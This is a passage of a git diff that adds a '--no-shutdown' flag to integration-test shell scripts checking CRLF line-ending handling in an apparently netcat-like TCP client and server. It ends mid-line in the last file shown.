b/tests/integration/21-options---crlf/402---tcp---client_crlf_cr---server_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/500---tcp---server_crlf_cr---client_sends_lf.sh b/tests/integration/21-options---crlf/500---tcp---server_crlf_cr---client_sends_lf.sh index ec28f872..0184aa4d 100755 --- a/tests/integration/21-options---crlf/500---tcp---server_crlf_cr---client_sends_lf.sh +++ b/tests/integration/21-options---crlf/500---tcp---server_crlf_cr---client_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/501---tcp---server_crlf_cr---client_sends_cr.sh b/tests/integration/21-options---crlf/501---tcp---server_crlf_cr---client_sends_cr.sh index d2eaeb69..6dcfd5fe 100755 --- a/tests/integration/21-options---crlf/501---tcp---server_crlf_cr---client_sends_cr.sh +++ b/tests/integration/21-options---crlf/501---tcp---server_crlf_cr---client_sends_cr.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/502---tcp---server_crlf_cr---client_sends_crlf.sh b/tests/integration/21-options---crlf/502---tcp---server_crlf_cr---client_sends_crlf.sh index eac2cdf9..72f1d1aa 100755 --- a/tests/integration/21-options---crlf/502---tcp---server_crlf_cr---client_sends_crlf.sh +++ b/tests/integration/21-options---crlf/502---tcp---server_crlf_cr---client_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vvvv" "${RHOST} ${RPORT} --crlf cr " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf cr -vvv " "${RHOST} ${RPORT} --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -vv " "${RHOST} ${RPORT} --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr -v " "${RHOST} ${RPORT} --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf cr " "${RHOST} ${RPORT} --crlf cr " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf cr " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -vv " "${RHOST} ${RPORT} --no-shutdown --crlf cr -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr -v " "${RHOST} ${RPORT} --no-shutdown --crlf cr -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf cr " "${RHOST} ${RPORT} --no-shutdown --crlf cr " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/600---tcp---client_crlf_no---server_sends_lf.sh b/tests/integration/21-options---crlf/600---tcp---client_crlf_no---server_sends_lf.sh index 9069e94d..ee61b7a1 100755 --- a/tests/integration/21-options---crlf/600---tcp---client_crlf_no---server_sends_lf.sh +++ b/tests/integration/21-options---crlf/600---tcp---client_crlf_no---server_sends_lf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/601---tcp---client_crlf_no---server_sends_cr.sh b/tests/integration/21-options---crlf/601---tcp---client_crlf_no---server_sends_cr.sh index f67f74b6..b97f25f6 100755 --- a/tests/integration/21-options---crlf/601---tcp---client_crlf_no---server_sends_cr.sh +++ b/tests/integration/21-options---crlf/601---tcp---client_crlf_no---server_sends_cr.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no " "9" "13" "${curr_round}" "${RUNS}" + + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} ${RPORT} --no-shutdown --crlf no " "13" "13" "${curr_round}" "${RUNS}" done diff --git a/tests/integration/21-options---crlf/602---tcp---client_crlf_no---server_sends_crlf.sh b/tests/integration/21-options---crlf/602---tcp---client_crlf_no---server_sends_crlf.sh index bb63b87b..08c95a7d 100755 --- a/tests/integration/21-options---crlf/602---tcp---client_crlf_no---server_sends_crlf.sh +++ b/tests/integration/21-options---crlf/602---tcp---client_crlf_no---server_sends_crlf.sh @@ -136,19 +136,19 @@ run_test() { for curr_round in $(seq "${RUNS}"); do echo # server opts client opts - run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no -vvvv" "5" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vvv " "6" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -vv " "7" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no -v " "8" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vvvv" "${RHOST} ${RPORT} --crlf no " "9" "13" "${curr_round}" "${RUNS}" - - #run_test "-l ${RPORT} --crlf no -vvv " "${RHOST} ${RPORT} --crlf no -vvv " "10" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -vv " "${RHOST} ${RPORT} --crlf no -vv " "11" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no -v " "${RHOST} ${RPORT} --crlf no -v " "12" "13" "${curr_round}" "${RUNS}" - #run_test "-l ${RPORT} --crlf no " "${RHOST} ${RPORT} --crlf no " "13" "13" "${curr_round}" "${RUNS}" + run_test "-l ${RPORT} --no-shutdown --crlf no -vvvv" "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "1" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vvv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "2" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -vv " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "3" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no -v " "${RHOST} ${RPORT} --no-shutdown --crlf no -vvvv" "4" "13" "${curr_round}" "${RUNS}" + #run_test "-l ${RPORT} --no-shutdown --crlf no " "${RHOST} 